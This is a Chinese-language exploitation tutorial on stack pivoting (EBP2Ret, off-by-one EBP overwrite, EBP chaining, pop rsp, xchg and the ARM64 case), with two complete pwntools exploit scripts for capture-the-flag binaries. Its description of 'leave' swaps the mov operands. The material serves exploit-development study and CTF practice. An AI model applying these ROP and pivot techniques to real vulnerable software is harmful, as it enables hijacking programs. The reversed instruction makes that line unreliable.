Stack Pivoting - EBP2Ret - EBP chaining

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基本信息

这种技术利用了操纵**基指针（EBP）的能力，通过精心使用EBP寄存器和leave; ret**指令序列来链接多个函数的执行。

作为提醒，**leave**基本上意味着：

mov       ebp, esp
pop       ebp
ret

EBP2Ret

这种技术在你可以改变 EBP 寄存器但无法直接改变 EIP 寄存器时特别有用。它利用了函数执行完毕时的行为。

如果在 fvuln 执行期间，你成功地在栈中注入一个指向内存中你的 shellcode 地址的伪造 EBP（再加上 4 个字节以考虑 pop 操作），你就可以间接控制 EIP。当 fvuln 返回时，ESP 被设置为这个精心构造的位置，随后的 pop 操作将 ESP 减少 4，有效地使其指向攻击者在其中存储的地址。 注意你需要知道 2 个地址：ESP 将要到达的地址，你需要在那里写入 ESP 指向的地址。

攻击构造

首先，你需要知道一个可以写入任意数据/地址的地址。ESP 将指向这里并运行第一个 ret。

然后，你需要知道 ret 使用的地址，将执行任意代码。你可以使用：

• 一个有效的 ONE_GADGET 地址。

• system() 地址，后跟4 个无效字节和 "/bin/sh" 地址（x86 位）。

• 一个**jump esp;** gadget 地址（ret2esp），后跟要执行的shellcode。

• 一些 ROP 链

请记住，在受控内存部分的任何这些地址之前，必须有**4 个字节**，因为 leave 指令的 pop 部分。可以滥用这 4B 来设置第二个伪造 EBP并继续控制执行。

Off-By-One Exploit

这种技术的一个特定变体称为“Off-By-One Exploit”。当你只能修改 EBP 的最低有效字节时使用。在这种情况下，存储要跳转到的地址的内存位置与 EBP 的前三个字节必须相同，允许在更受限制的条件下进行类似的操作。 通常修改字节 0x00 以跳转尽可能远。

此外，通常在栈中使用 RET 滑梯，并将真正的 ROP 链放在末尾，以使新 ESP 更有可能指向 RET 滑梯内部并执行最终的 ROP 链。

EBP 链接

因此，在栈的 EBP 条目中放置一个受控地址，并在 EIP 中放置一个指向 leave; ret 的地址，就可以将 ESP 移动到栈中受控的 EBP 地址。

现在，ESP 被控制，指向一个期望的地址，下一个要执行的指令是 RET。为了滥用这一点，可以在受控 ESP 位置放置以下内容：

• &(下一个伪造 EBP) -> 加载新的 EBP，因为 leave 指令中的 pop ebp

• system() -> 被 ret 调用

• &(leave;ret) -> 在 system 结束后调用，它将移动 ESP 到伪造 EBP 并重新开始

• &("/bin/sh")-> system 的参数

基本上，通过这种方式可以链接多个伪造的 EBP 来控制程序的流程。

这就像一个 ret2lib，但更复杂，没有明显的好处，但在某些边缘情况下可能会很有趣。

此外，这里有一个挑战示例，使用这种技术和一个栈泄漏来调用一个获胜函数。这是页面上的最终有效载荷：

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP可能不会被使用

正如在这篇文章中解释的，如果一个二进制文件被编译时进行了一些优化，EBP永远无法控制ESP，因此，任何通过控制EBP来工作的利用都基本上会失败，因为它没有任何真正的效果。 这是因为如果二进制文件被优化了，函数的前导和尾声会发生变化。

• 未优化：

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return

• 优化：

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

控制 RSP 的其他方法

pop rsp 机关

在这个页面中，您可以找到使用这种技术的示例。对于这个挑战，需要调用一个带有两个特定参数的函数，并且有一个**pop rsp 机关以及来自堆栈的泄漏**：

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp 交换指令

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

在这里查看ret2esp技术：

pageRet2esp / Ret2reg

参考资料和其他示例

• https://bananamafia.dev/post/binary-rop-stackpivot/

• https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting

• https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html

• 64位，通过一个以ret sled开头的rop链进行的一个利用

• https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html

• 64位，无relro，canary，nx和pie。程序提供了一个用于获取堆栈或pie泄漏以及qword的WWW的泄漏。首先获取堆栈泄漏，然后使用WWW返回并获取pie泄漏。然后使用WWW创建一个滥用.fini_array条目+调用__libc_csu_fini的永久循环（更多信息请参见此处）。通过滥用这种“永久”写入，在.bss中编写了一个ROP链，并最终调用它通过RBP进行枢轴转换。

ARM64

在ARM64中，函数的入口和出口不会在堆栈中存储和检索SP寄存器。此外，RET指令不会返回到SP指向的地址，而是返回到x30内的地址。

因此，默认情况下，仅仅滥用出口，您将无法通过覆盖堆栈内的某些数据来控制SP寄存器。即使您设法控制SP，您仍需要一种方法来**控制x30**寄存器。

• 入口

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP指向帧记录

• 出口

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

在ARM64中执行类似于堆栈枢轴的方法是能够控制SP（通过控制某个将值传递给SP的寄存器或者因为某种原因SP正在从堆栈中获取其地址并且我们有一个溢出）然后滥用出口从**受控SP加载x30寄存器并RET**到它。

此外，在以下页面中，您可以看到ARM64中Ret2esp的等效：

pageRet2esp / Ret2reg